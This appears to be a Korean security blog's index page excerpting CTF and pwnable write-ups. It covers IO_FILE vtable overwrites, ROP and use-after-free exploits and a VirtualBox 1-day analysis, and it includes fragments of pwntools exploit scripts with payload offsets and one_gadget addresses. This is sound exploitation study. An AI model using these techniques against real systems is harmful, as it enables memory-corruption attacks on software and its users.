IO_FILE_Vtable overwrite

Technique 2021. 7. 25. 18:30

IO_FILE은 리눅스 시스템의 표준 라이브러리에서 파일 스트림을 나타내기 위한 구조체 fopen, fwrite과 같은 함수를 통해 파일 스트림을 열때 힙에 할당 IO_FILE 구조체의 멤버 변수중 _flags는 파일에 대한 추가권한을 의미, 0xfbad0000가 magic number _chain : IOFILE 구조체는 chain필드를 통해 linked_list를 만든다. 실제 파일 스트림을 열때는 io_file_plus 구조체 리턴 io_file_plus 구조체는 파일 스트림에서의 함수 호출을 용이하게 하기 위해 io_file 구조체에 함수 포인터 테이블을 가리키는 포인터를 추가한 구조체 io_jump_t에는 파일에 관련된 여러 동작을 수행하는 함수 포인터들이 저장. 이들은 fread, fwrite..

Ropasaurusrex

Pwnable 2021. 7. 25. 18:29

HackCTF의 ROP와 매우 유사한 문제. rop란? https://d4m0n.tistory.com/84 ← 블로그 참조. from pwn import * context.log_level = 'debug' p = process('./ropasaurusrex') e = ELF('./ropasaurusrex') pppr = 0x80484b6 bss = e.bss() + 0x100 libc = e.libc read_got = e.got['read'] read_plt = e.plt['read'] read_offset = e.symbols['read'] write_plt = e.plt['write'] write_got = e.got['write'] payload = "A"*140 #======get read_g..

2018 아주대 사이버보안학과 ctf - babyuaf

Pwnable 2021. 7. 25. 18:15

Binary Mitigation Exploit from pwn import * context.terminal=["terminator", "-e"] p = process('./babyuaf') e = ELF('./babyuaf') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') main_arana_offset = 0x3c4b20 free_hook_offset = libc.symbols['__free_hook'] one_gadget = [0x45226,0x4527a,0xf0364,0xf1207] # ldd local libc def add_info(name, age, comment): p.sendlineafter('> ', "1") p.sendafter('name : ', ..

Article Thumbnail
pwnable.xyz - Grownup

pwnable.xyz 2021. 7. 23. 15:31

몇일간 고생하다 해답보고 이해한 문제이다. 포맷스트링에 대한 개념을 좀더 확실히 공부하고 넘어가야 할거같다. Decompile setup 함수 1. 0x601168의 주소를 usr에 넣고, usr의 인덱스 136~138에 %s\n을 세팅 main 함수 1. setup 함수를 실행하여 작업수행 2. local_28에 0x10만큼 입력받음 3. local_28의 맨 마지막을 NULL(0x0)으로 할당 4. local_28이 y 또는 Y인지 확인 5. malloc(0x84, 132)후 __src에 0x80(128)만큼 입력 받음 6. strcpy를 이용해 usr에 __src 값을 복사함 7. %s(usr.128_8)을 이용해 usr값 출력 Analysis 0x601100은 usr+0x20이고 0x20를 입력후..

Article Thumbnail
pwnable.xyz - misalignment

pwnable.xyz 2021. 7. 22. 00:06

Decompile 1. auStack.7_8_을 0xdeadbeef으로 초기화 2. 3개의 부호없는 정수를 받는다(%ld, long double) 3. 마지막 인자 * 8 + 48로 하는 auStack.7_8 배열의 인덱스에 첫번째와 두번째 인자 값을 더함 4. 만약 auStack.7_8_이 0xb000000b5면 win함수 실행(flag을 보여줌) 111 222 -5를 했을때 0xdeadbeef 위치에 덮인다. 하지만 마지막 ef때문에 한번에 덮어지지는 않는다. 때문에 두번에 나눠서 덮어야함 0xB000000B5 -> 0xB00000000과 0xB5로 나눌수 있음 하지만 ef때문에 다음 메모리 주소에서 침범하여 덮어야함 그래서 0xB500000000000000을 쓰고 0xB000000를 덮는다면 가능할..

Article Thumbnail
pwnable.xyz - add

pwnable.xyz 2021. 7. 20. 02:22

Mitigation 소스 코드 1. 29번째 줄에서 3개의 부호없는 정수(long)을 받는다 2. 첫번째 값 + 두번째 값을 더해 local_68배열에 넣는데 이때 세번째 인자(local_70)은 인덱스가 된다 공격 방식 세번째 인자를 받는데, 이때 이 local_70의 값 범위를 검사하지 않아 OOB 취약점이 일어나고, 이에 따라 원하는 곳에 값을 쓸 수 있게 된다. local_10은 카나리를 저장하는 변수이기 때문에 rbp-0x8의 위치를 가질것이다. local_68은 인덱스가 11이지만 OOB취약점 때문에 ret까지 덮을 수 있다. $RBP+RAX*0x8 -0x60주소에 rdx값이 들어가고, rdx는 세번째 인자이다. 따라서 0x60 / 0x8 = 13이고, 인덱스는 13이된다. 따라서 win 함수..

Article Thumbnail
Operating System Concepts - 1

운영체제 공부 2021. 7. 18. 14:19

운영체제(Operating system)은 컴퓨터 하드웨어를 관리하는 소프트웨어 운영체제가 할 일(What Operating Systems Do) 컴퓨터 시스템은 크게 4가지 구성요소로 구분할 수 있다. 하드웨어, 운영체제, 응용 프로그램 및 사용자 하드웨어(Computer hardware) : 중앙처리장치(CPU), 메모리 및 입출력(I/O) 장치로 구성 운영체제(Operating system) : 컴퓨터 시스템이 동작할 때 자원을 적절하게 사용할 수 있는 방법을 제공 응용 프로그램(Application programs) : 사용자의 계산 문제를 해결하기 위해 이들 자원이 어떻게 사용될지를 정의 운영체제는 사용의 용이성을 위해 설계 되며, 자원의 이용에는 전혀 관여하지 않는다 컴퓨터 시스템의 구성 현대..

Article Thumbnail
pwnable.xyz - welcome

pwnable.xyz 2021. 7. 18. 12:01

Decompile malloc함수를 통해 할당받은 청크의 주소 출력 사이즈를 입력 받고, 그 사이즈를 인자로 한 malloc 반환 값은 레지스터들에 저장 message를 입력하면 청크에 저장이 된다. Decompile 사진을 보면 flag 출력 조건이 *pVar1이 0이면 플래그를 출력해준다. 첫 malloc(0x40000) 후 pVar1 값을 1로 초기화 해주는데, 이 값은 $rbx에 저장이 되어 있다. 이 $rbx값을 0으로 바꿔준다면 flag를 얻을 수 있을 것이다. 다음 사진은 write 함수 호출 전까지의 레지스터 상태이다. mov BYTE PTR [rbp+rdx*1-0x1], 0x0 -> rbp+rdx*1-0x1이 가리키는 주소에 0을 저장한다 그럼 값이 저장되는 과정을 살펴보자 $rbp, $..

Article Thumbnail
Vbox 1day analysis (1)

Project 2021. 7. 16. 15:34

요약 VirtualBox 6.0에서 사용하는 3D 가속을 이용한 취약점 Chromium library에 대한 사전 지식 필요 사전 지식 Vbox에서는 Chromium library를 이용하여 3D 가속을 구현 VirtualBox 3D 가속은 Chromium을 기반으로 구현됨 Chromium library Chromium은 OpenGL의 한 프로젝트 였음. Chromium은 Remote rendering을 하게 해주는 OpenGL기반 3D 그래픽 라이브러리 이며, 클라이언트/서버 구조로 되어 있음 HGCM을 이용하면 게스트 머신에서 동작하는 Chromium 클라이언트와 호스트 머신에서 동작하는 Chromium 서버간에 통신을 하게 해준다. VBoxHGCM 프로토콜은 VBoxGuest.sys 드라이버를 통해..

Article Thumbnail
redpwnCTF 2021 - simultaneity write-up

Pwnable 2021. 7. 14. 20:00

대회기간 풀지 못했던 문제이며, writeup을 보고 원리를 이해하며 작성한 글입니다. Full RELRO - GOT Overwrite 불가능 NX enabled - 쉘코드를 메모리에 적재해 실행시키는것 불가능 PIE - 주소 랜덤화 코드 분석 1. big?에서 size를 입력 받고 그 size만큼 malloc을 호출 2. here: malloc이 반환한 메모리의 주소 출력 3. far? 다음 scanf("%ld")로 입력 -> 숫자만 입력 4. what? 다음 scanf("%zu")로 입력 -> 숫자만 입력 공격 벡터 1. here?에서 top chunk 값보다 큰 값을 입력(예를 들어 10000000)하면 mmap을 사용하여 힙에 할당 2. 청크 주소를 가지고 libc 주소를 알 수 있음.(libc ..

Article Thumbnail